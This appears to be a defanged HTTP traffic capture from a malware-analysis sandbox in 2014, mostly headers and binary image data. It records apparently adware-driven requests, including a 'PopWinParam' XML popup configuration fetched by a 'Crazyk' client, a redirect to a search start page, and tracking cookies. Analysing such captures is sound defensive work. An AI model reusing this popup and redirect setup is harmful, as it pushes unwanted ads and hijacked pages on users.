Vfv........'7GWgw.................?..w=.Ku vX...~U..p.iM.....ec...'r..
...g.:...N.e.].^...v=O?E.7}t..%..i.8.C...D.t.a...%...........?$.-.k...
.F...K{~sTs....4........].d/L3...N..R<...T.2F2......;..nt..Y..4....
W.....C|..;.}z......H.. o.a...K}.z.I........X...CuN..w}N..5..o..`...k.
......7...?GN....-.;[email protected].'.|.8...#,....8&v.a.Ay......
?=....W.W......KA.}.WG..W[.:.u.....^K....4h...........5..->.\d.....
.R..L..w.... G....q.....)......W.,..2..l........52..g}..L..?[..O..Sg.?
......}......G.X....C..f.N...b6}/..#..xA..`....u.>O...,..4...y..v5.
Y]...RK...t..R....].y..M...>.. .c?7.2...n{..Y.CI..O....f.g..l..."h.
.....5/[email protected]..^...u.;...1..........kk.[.j.......3
<<< skipped >>>

GET /miniindex/inc/style.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/meinv.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:09 GMT

Content-Type: text/css

Content-Length: 2899

Connection: keep-alive

Last-Modified: Thu, 10 Apr 2014 16:40:38 GMT

ETag: "0c7479adb54cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:09 GMT

Accept-Ranges: bytes
*{margin:0;padding:0}html,body{overflow:hidden}body{font:12px/18px Sim
sun,Helvetica,Arial,sans-serif;text-align:center;font-size-adjust:none
;font-stretch:normal}ul,li{list-style:none}a{color:#333;text-decoratio
n:none}a:hover{color:#bd0a01;text-decoration:underline}a,img{border:0}
.focus_filter{left:0;width:100%;text-align:center;bottom:0;display:blo
ck;position:absolute;z-index:3;cursor:pointer}.focus_filter{background
:#000;height:21px;z-index:1;opacity:.6;-moz-opacity:.6}.main{backgroun
d:#fff;padding:14px 0 0 14px;width:509px;height:352px;text-align:left;
float:left;position:relative;-ms-zoom:1}.main_left{background:#fff;wid
th:222px;overflow:hidden;padding-right:20px;float:left}.product_yl .li
st_news_yl1{padding:4px 0;margin-bottom:3px;border-bottom-color:#8b8c8
c;border-bottom-width:1px;border-bottom-style:dotted}.mod_left{margin-
top:10px}.list_pic{width:222px;overflow:hidden;-ms-zoom:1}.list_pic ul
{width:232px}.list_pic li{margin-right:10px;float:left}.list_pic li a{
padding:2px;border:1px solid #dddfde;width:100px;float:left}.list_pic 
li a img{width:100px;height:65px}.list_pic li a span{height:19px;text-
align:center;padding-top:6px;display:block;cursor:pointer}.list_pic li
 a:hover{text-decoration:none}.list_pic li a:hover img{text-decoration
:none}.list_pic li a:hover span{text-decoration:none}.list_news::after
{clear:both;display:block;content:""}.list_news li{font-family:simsun}
.list_news li a{height:22px;line-height:22px;display:inline-block}.pro
duct_yl .list_news_yl1{padding:4px 0;margin-bottom:3px;border-bott
<<< skipped >>>

GET / HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: VVV.jlbnh.com

Connection: Keep-Alive

HTTP/1.1 302 Redirect

Content-Length: 150

Content-Type: text/html

Location: hXXp://123.sogou.com/?22014

Server: Microsoft-IIS/6.0

Who: ShanIE

Date: Mon, 26 May 2014 23:04:25 GMT
<head><title>Document Moved</title></head>.<
;body><h1>Object Moved</h1>This document may be found &
lt;a HREF="hXXp://123.sogou.com/?22014">here</a></body>
HTTP/1.1 302 Redirect..Content-Length: 150..Content-Type: text/html..L
ocation: hXXp://123.sogou.com/?22014..Server: Microsoft-IIS/6.0..Who: 
ShanIE..Date: Mon, 26 May 2014 23:04:25 GMT..<head><title>
Document Moved</title></head>.<body><h1>Object
 Moved</h1>This document may be found <a HREF="hXXp://123.sog
ou.com/?22014">here</a></body>..

GET /9.gif?abc=1&rnd=1437783400 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/xinwen.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cnzz.mmstat.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: Tengine

Date: Mon, 26 May 2014 23:05:09 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=pbYKDKy4NTICAcGK9Ofk4mpJ; expires=Thu, 23-May-24 23:05:09 GMT; path=/; domain=.mmstat.com

Set-Cookie: sca=bfbd4c69; path=/; domain=.cnzz.mmstat.com

Set-Cookie: atpsida=b9f02853910e97e69c53c11e_1401145509; expires=Thu, 23-May-24 23:05:09 GMT; path=/; domain=.cnzz.mmstat.com

Location: hXXp://pcookie.cnzz.com/app.gif?&cna=pbYKDKy4NTICAcGK9Ofk4mpJ

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:
 Tengine..Date: Mon, 26 May 2014 23:05:09 GMT..Content-Type: image/gif
..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR
a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=pbYKDKy4NT
ICAcGK9Ofk4mpJ; expires=Thu, 23-May-24 23:05:09 GMT; path=/; domain=.m
mstat.com..Set-Cookie: sca=bfbd4c69; path=/; domain=.cnzz.mmstat.com..
Set-Cookie: atpsida=b9f02853910e97e69c53c11e_1401145509; expires=Thu, 
23-May-24 23:05:09 GMT; path=/; domain=.cnzz.mmstat.com..Location: htt
p://pcookie.cnzz.com/app.gif?&cna=pbYKDKy4NTICAcGK9Ofk4mpJ..Expires: T
hu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cach
e..GIF89a.............!.......,...........L..;....


GET /9.gif?abc=1&rnd=236728726 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/meinv.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cnzz.mmstat.com

Connection: Keep-Alive

Cookie: cna=pbYKDNgqDT8CAcGK9OfSQz54; sca=4aa598e5; atpsida=df8bea1aa97c7b8e917247ad_1401145509

HTTP/1.1 302 Found

Server: Tengine

Date: Mon, 26 May 2014 23:05:10 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: atpsida=df8bea1aa97c7b8e917247ad_1401145510; expires=Thu, 23-May-24 23:05:10 GMT; path=/; domain=.cnzz.mmstat.com

Location: hXXp://pcookie.cnzz.com/app.gif?&cna=pbYKDNgqDT8CAcGK9OfSQz54

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:
 Tengine..Date: Mon, 26 May 2014 23:05:10 GMT..Content-Type: image/gif
..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR
a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: atpsida=df8bea
1aa97c7b8e917247ad_1401145510; expires=Thu, 23-May-24 23:05:10 GMT; pa
th=/; domain=.cnzz.mmstat.com..Location: hXXp://pcookie.cnzz.com/app.g
if?&cna=pbYKDNgqDT8CAcGK9OfSQz54..Expires: Thu, 01 Jan 1970 00:00:01 G
MT..Cache-Control: no-cache..Pragma: no-cache..GIF89a.............!...
....,...........L..;..

GET /img/news_photo/2014/05/26/zd7uDX2EkK0904.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: pic2.xcarimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Tue, 26 May 2015 09:00:20 GMT

Date: Mon, 26 May 2014 09:00:20 GMT

Server: Apache

Last-Modified: Mon, 26 May 2014 08:06:35 GMT

Cache-Control: max-age=31536000

Content-Type: image/jpeg

Content-Length: 3567

Accept-Ranges: bytes

Xcar-Cache-Server: imgcache1-HIT

Age: 1

X-Via: 1.1 zjjhdx40:8080 (Cdn Cache Server V2.0), 1.1 hbxf144:3 (Cdn Cache Server V2.0)

Connection: keep-alive
......Exif..II*.................Ducky.......<.....)hXXp://ns.adobe.
com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&g
t; <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-
c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf
="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description
 rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="ht
tp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.
0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xm
pMM:InstanceID="xmp.iid:3C25B754E4AA11E39AD48215217A9D62" xmpMM:Docume
ntID="xmp.did:3C25B755E4AA11E39AD48215217A9D62"> <xmpMM:DerivedF
rom stRef:instanceID="xmp.iid:3C25B752E4AA11E39AD48215217A9D62" stRef:
documentID="xmp.did:3C25B753E4AA11E39AD48215217A9D62"/> </rdf:De
scription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"
?>....Adobe.d......................................................
......................................................................
.....................U._..............................................
...........................................!1..A".Qa.#.q..2BR.b.$....3
T.....................!..1AQa..."..............?......(....(....(....(
....(....(.......c.q..{.a.A.*.T..(H.......6...>..j/L4.N..]..pKH)...
c...........Q.$Y...AZ..f.|.d..x.....I.a.'........*.e.c...<.7.....u.
P..C.t!..IZ.J@R...:.....v..y.u..^ ...SRd!.!.O-A u<A... h...3!..aa.]
H[n$... .Td.(..]..<F.d4..^]...=.IY.:...-.....C.$.fy..y..?99..Rx
<<< skipped >>>

GET /imgu/2013/08/20130830161205_609.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p5.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:35 GMT

Content-Type: image/gif

Content-Length: 13241

Last-Modified: Fri, 30 Aug 2013 08:12:05 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:35 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
GIF89a........;\.%...1..... ........ .................................
.......................................!..XMP DataXMP<?xpacket begi
n="..." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adob
e:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c034 46.272976, Sat Jan 27 200
7 22:37:37        ">.   <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/19
99/02/22-rdf-syntax-ns#">.      <rdf:Description rdf:about="".  
          xmlns:xap="hXXp://ns.adobe.com/xap/1.0/">.         <xa
p:CreatorTool>Adobe Fireworks CS3</xap:CreatorTool>.         
<xap:CreateDate>2007-01-04T22:10:31Z</xap:CreateDate>.    
     <xap:ModifyDate>2013-08-30T08:11:54Z</xap:ModifyDate>
.      </rdf:Description>.      <rdf:Description rdf:about=""
.            xmlns:dc="hXXp://purl.org/dc/elements/1.1/">.         
<dc:format>image/gif</dc:format>.      </rdf:Descriptio
n>.   </rdf:RDF>.</x:xmpmeta>.                         
                                                                      
     .                                                                
                                    .                                 
                                                                   .  
                                                                      
                            .                                         
                                                           .          
                                                                  
<<< skipped >>>

GET /img/news_photo/2014/05/26/edKzjJ6oPX1140.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: pic3.xcarimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Tue, 26 May 2015 09:00:23 GMT

Date: Mon, 26 May 2014 09:00:23 GMT

Server: Apache

Last-Modified: Mon, 26 May 2014 08:06:44 GMT

Cache-Control: max-age=31536000

Content-Type: image/jpeg

Content-Length: 3631

Accept-Ranges: bytes

Xcar-Cache-Server: imgcache1-HIT

Age: 1

X-Via: 1.1 tzwl41:80 (Cdn Cache Server V2.0), 1.1 gl24:1 (Cdn Cache Server V2.0)

Connection: keep-alive
......Exif..II*.................Ducky.......<.....)hXXp://ns.adobe.
com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&g
t; <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-
c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf
="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description
 rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="ht
tp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.
0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xm
pMM:InstanceID="xmp.iid:529ED466E4AA11E3A969BC224F3CF516" xmpMM:Docume
ntID="xmp.did:529ED467E4AA11E3A969BC224F3CF516"> <xmpMM:DerivedF
rom stRef:instanceID="xmp.iid:529ED464E4AA11E3A969BC224F3CF516" stRef:
documentID="xmp.did:529ED465E4AA11E3A969BC224F3CF516"/> </rdf:De
scription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"
?>....Adobe.d......................................................
......................................................................
.....................U._..............................................
...........................................!1..A"Qaq2......B.3.R#$.br.
.Scs..D..%......................1AQ..!a...q."...2.............?.......
....................................."....O.8cC....E?..o....-D..[.R..h
EH.c......@....).9.)l)7.F.....6..y..N....R...B.S...D..P.>..-.r.....
...Y..N)..'.4....J...oW.".d9I..?}....<.l.jX...2.`lM.e...I..Y2.e..|9
..........Pn.9|..#..X.@..@"...X\k.<[email protected]=!..)..|...I..n.=.;...
<<< skipped >>>

GET /web/PopWinParam.asp?d=2014419&mainver=1.0.0&popver=1.0.0&xmlver=20131020010000 HTTP/1.1

User-Agent: Crazyk

Host: stat.fjmjm.com

Cookie: ASPSESSIONIDCCRSCCBQ=OCMDICKBEKNNPLPECNJJNHCE

HTTP/1.1 200 OK

Date: Mon, 26 May 2014 23:04:33 GMT

Server: Microsoft-IIS/6.0

Who: ShanIE

Content-Length: 4659

Content-Type: text/html

Cache-control: private
..<?xml version="1.0" encoding="gb2312"?>..<SoftwareConfig>
;..  <Version>20140527070433</Version>..  <Popwin>..
.    <Item id="1">..      <Subject>........</Subject>
;..      <WinWidth>708</WinWidth>..      <WinHeight>
404</WinHeight>..      <StartUpPosition>0</StartUpPosit
ion>..      <URL>hXXp://VVV.mdtxw.org/miniindex/</URL> 
..      <StartUpTime>10</StartUpTime>..      <ShowIntev
al>7200</ShowInteval>..      <AutoClose>600</AutoClo
se>..      <isShow>1</isShow>..    </Item>..    &
lt;Item id="2">..      <Subject>........</Subject>..   
  <WinWidth>300</WinWidth>..      <WinHeight>265<
/WinHeight>..      <StartUpPosition>1</StartUpPosition>
..      <URL>hXXp://stat.fjmjm.com/a/cpv1.html?t=20140527070433&
lt;/URL> ..      <StartUpTime>50</StartUpTime>..      &
lt;ShowInteval>0</ShowInteval>..      <AutoClose>50<
/AutoClose>..      <isShow>1</isShow>..    </Item>
;..    <Item id="3">..      <Subject>....LB</Subject>
;..      <WinWidth>300</WinWidth>..      <WinHeight>
265</WinHeight>..      <StartUpPosition>1</StartUpPosit
ion>..      <URL>hXXp://stat.fjmjm.com/a/cpv1.html?t=20140527
070433</URL>..      <StartUpTime>200</StartUpTime>..
      <ShowInteval>7200</ShowInteval>..      <AutoC
<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Pragma: no-cache

Cache-Control: no-cache

Connection: Close

Host: VVV.fjmjm.com

HTTP/1.1 404 Not Found

Content-Length: 83

Content-Type: text/html

Server: Microsoft-IIS/6.0

Who: ShanIE

Date: Mon, 26 May 2014 23:04:27 GMT

Connection: close
<html><head><title>Error</title></head>&
lt;body>........................</body></html>..

GET /media/id=nHRLPjm3nWRY&gp=401&time=nHnLPjmzrHckPs.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/shehui_509_366.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: drmcmm.baidu.com

Connection: Keep-Alive

HTTP/1.1 200 OK

media: media

Cache-Control: max-age=31536000

Expires: Fri, 26 Oct 2012 12:24:13 GMT

Last-Modified: Sat, 25 Apr 2009 07:04:00 GMT

Content-Type: image/jpeg

Date: Mon, 26 May 2014 23:05:05 GMT

Server: apache

Content-Length: 14284
......JFIF.....H.H.....5Exif..MM.*.............................b......
.....j.(...........1.........r.2...........i....................'.....
..'.Adobe Photoshop CS3 Windows.2013:07:24 09:26:21...................
.....................M...........................................&.(..
.......................................H.......H..........JFIF.....H.H
......Adobe_CM......Adobe.d...........................................
......................................................................
................................M...."................?...............
...........................................................3......!.1.
AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE..t6..U.e.....u..F'.....
..........Vfv........7GWgw........................5.....!1..AQaq"..2..
...B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te......u..F...............
Vfv........'7GWgw.................?.{-........}%F..L>..u..fs.......
P.........bH...Ga....6._y......|.d`I.E.A.....{.:u..;..>..L..7....'.
E6.P...;....~..qx..c<]C...L...-L~....../0..IQ..:..|Y..!.}..u.<..
[.."..=...~.......5...V?H....kld.........U...VO.......Q6...F.T........
......I....4im4..f...B..R8P4...M.lhk....aC/ ...e0C.... ......s:c..w..?
...{.?...wa...........,.?...P..VI.CE.._.Y...i.(....A#.....'.X.([...)/.
q...*...=...4..cH C./..c..i.. ..j..Gw.g.o.%W....So...q\.w.9....\......
..... ..u.....Y....D...'.*..k.:-...Xc .............K....t.....Y....V..
#D%.][email protected]..@*v...&.^..G.....,[email protected].^*v.^.R.A..y...
. .r...b....kK.E.x.&.....T..H1.[r {-..0.^$|......{....Z<..,...%
<<< skipped >>>

GET /u/js/ufo2.js HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:29 GMT

Content-Type: application/x-javascript

Last-Modified: Tue, 06 Nov 2012 08:12:45 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Mon, 02 Jun 2014 23:04:29 GMT

Cache-Control: max-age=604800

Content-Encoding: gzip
600a...............v.G....<.....X.D.={...m.....MK.v7I{.R.A.......&l
t;.y..d.......!.g.Y..ZDU.=#.......]..M.|.....o.O..^..=\\.m..b9y4......
{...j.o...t1o..A.6>..G...}._....O.g....e..Y....e.x...W.....j...M.[.
...Yw..]..../{...b......n.;x..../F..w.%.G.Y.m....a.`.^.....l~S4.?:j...
...7..Y.U6[..n.=).......f]6..1..io1...../.I.u.^...u.mc..).....{..g =..
..f6k..o.`t.hPa.;.u.n....9j..............3.......u{w....4.J.....]X.Q..
.NK{<^,....|..f...Q.4.<.nOW_]]...0.(..f.dp.j.....t~S....f..h.e.h
.(..&.....y... {..g.....f.........f.?.6.([email protected]..[...
.*[email protected][email protected]>N.............l.wE?u%....l....Y...>u.W.
~.9.T0..G..........g.;(..js.Og..8a......V.W..`;.......?_.........a.q..
...*[email protected]..~5 ..u..<h...d}....4....u..J
p:.v...0...xhx..........9h.<>.........P5.!-...e..v..WM.K.Eg(....
0.n..W_.QN.v...}.e1f.....*&.aP.[.yw.._.. ..3...r].Mhr>...$|.6.....S
N.G..E.=.y..;.=).G...[0.Zm.G#.`X..........y...?.O.v..4o..M.... ..MGc..
>B...fV......<....~o_..IY/.........]....C.0....2..aN........w...
.w..n.n....u.|}5....b^..L....?x.>...h#.lY...&..V.c#...o. ..k?....vK
#.....l....^.`..0..t./..u.vS.H}.e....&v....m....02\.b?v.".......... .W
.0......=z..p9...0..k..~....Z...\.W...N.i....."?5.3..p.....m....t^....
e....V'5c...|..|6.nb..W?9....,[;.\....K......F..8`...~.p...cq"....N..=
.C.<j....x.S<.....C."^..g.C;w.}D,......Q..`....V|h..._.w..N....0
.%..?.S....|.R}..........1......t<~29...A.N.g.....Z......H.....Ec1.
....^s_..<....[.7{...!.....u2.... ...b8.A1.B8-...]._7.Z5.0.....
<<< skipped >>>

GET /imgu/2014/05/20140526170756_638.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:35 GMT

Content-Type: image/jpeg

Content-Length: 5409

Last-Modified: Mon, 26 May 2014 09:07:56 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:35 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
......JFIF.............0Exif..II*.......1...............VVV.meitu.com.
...C..................................................................
..C...................................................................
....=._...............................................................
}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUV
WXYZcdefghijstuvwxyz..................................................
......................................................................
......w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFG
HIJSTUVWXYZcdefghijstuvwxyz...........................................
.........................................?....x@..........'_.H. .#S...
/....;6......O...1...c...;q3..k..j~g*2N{..z.....).|..f.Tpi...I..^ho..-
.....5..eo.i:.6v...^I,e.cnw6.[.p..5...<5.'.f...u.]TI7..v.......k.L^
"....u... .d..|.......G8$.^..<......QQ..G.G._..C.......<.~..K..K
......JD.W3I.......g'......Th..CyN.......8!...).........x.V..H...l...(
9.k.....8\.-.....2j..J....19.>.I..2qw9(>[email protected].=74U.tK....v
...hs...o|s.KgC}.7..'..R.$......I6R>..{[email protected]...
.</...[...$.1.$\0?.Z..H.].t.^....ec.r............! ...O.|%.>0D..
..."l..z`T...(a.);..VwG..x/........,...4.c,...H......X.n*/.EI]..I....7
k.;._J.m>..h>....mR.<qjl...............Z.....\.x..>.p.G/.J
./..}O;.</..S...]...Z._.........N.lQ.#..D....M{.qY. ..e....e/.Z.Nin
..G.......4...>p....t.Y.4..o..<6.8...O...._.ay.I:.7.....|.Y..q..
.2.kg.H.G...).. ..#.N...~...& .J..PF\D..FQ....'c........M<..i..
<<< skipped >>>

GET /imgu/2013/08/20130820165531_481.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p6.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:29 GMT

Content-Type: image/gif

Content-Length: 2049

Last-Modified: Tue, 20 Aug 2013 08:55:31 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:29 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
GIF89a..y....1.....A.....c........t..S........9........I........Y..j..
.........<..L.....y.................X...........T..s.....J..J..a..c
....................................................................!.
....*.,[email protected],....r.l:...tJ.*.X.*......6.]...3Z.^.........^..
m........M\fDyH.[G.t.D.t.D........D..Y.X..D..........C..............c_
x.......K..J. C.J....*..H......I.Y...I....J....".....G..X..H.....@....
...".`O..e.28A....%..a..B... C...a...I.....$..EF\[email protected].. 2........h0
d...H."e9AH....X.....1.....5...U.....lY,[email protected]....$......
.'.....@ 8".Wc.]..U. ...."\[email protected]..;....8..A.;.....
..........@..%[email protected]..>.p..C,..H@..@......"
.]...u.B...0.....S...A.].."A......X(.............z\80Ak...@[email protected]..
..g..#)..v.p... [email protected].,[email protected]...\D..X.Q......9Ch..\B..@.
ExW...`..5.`..[CH..5Hx."...@X..,..nF .H0W0....F...*[email protected]...
&%.....0.wX.p....!......{XL"`..0P.v.bq....`A..0.......}h9....(@..]9...
...M\.T.... ...........W......:P.p.d?.DG.B..OA.<. .....U&..U.x.y...
[email protected]....(...@.....,...(
4...Ll....`.4.....5.p...D.pY.>.,F...q.......K..A.X.)....-.......B.P
c....x .0p.`.0...^....C|l.........V..........!.".*3.BT........oX B&.q.
..s.$`[email protected]]..m^@......!..A..k.6.b.yD..d.....o.Gc.$L.y.
.Bj^...S..O.S...............R?.E.Fz... [email protected]%...m]..
.......... ..@...........&$...`*..n.C....?....0..0 b.b..Dh..0....L.aH.
*R..(.........>F.M.p(.S...g<.....5.!Bi,...t.9.....c..p..de..
<<< skipped >>>

GET /imgn/sehome/tjv1/subnav_v41.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:29 GMT

Content-Type: image/png

Content-Length: 3655

Last-Modified: Mon, 28 Jan 2013 13:46:09 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:29 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR...............x.....sBIT.....O.....PLTE"5R..L4s...$.?
....fff............iV*.ji......t.........hC...)Bd.....k...........f...
...9..............Q`w..Y[ZZ.......YRGGG;`......k.4/..B..E...J..f......
....`.....}...-D.....zq...f......rP..T........N....eW...i|...r..`..LGt
...dR....<..................O....T..........MI.../Kr.J-...........t
..e.....}}.....333..I......wvw`..I}........iC......4U.....( ..........
.......3.....W.....:.."w....S........n..x.....B.....\..sAj...r..b.....
...d...........}b...........IYq...9X......Jr......m9.....Q.........]..
.....a..:.yR..G......Lz.k..........~..f........IEq...Qp........... Fj.
...............................m..Ko....^9].........z........jW.......
.T....S7Qs.....[..W..C..J....................................b..Cm.R}.
...........J..')Jk{.......:..cl..=d......k..;..H.....jLt.B..f....tRNS.
......................................................................
......................................................................
......................................................................
.............................................s.......pHYs...........~.
....tEXtSoftware.Adobe FireworksO..N....tEXtXML:com.adobe.xmp.<?xpa
cket begin="   " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmln
s:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/
02/12-17:32:00        "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1
999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:x
mp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com
<<< skipped >>>

GET /imgn/v32/skin3.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

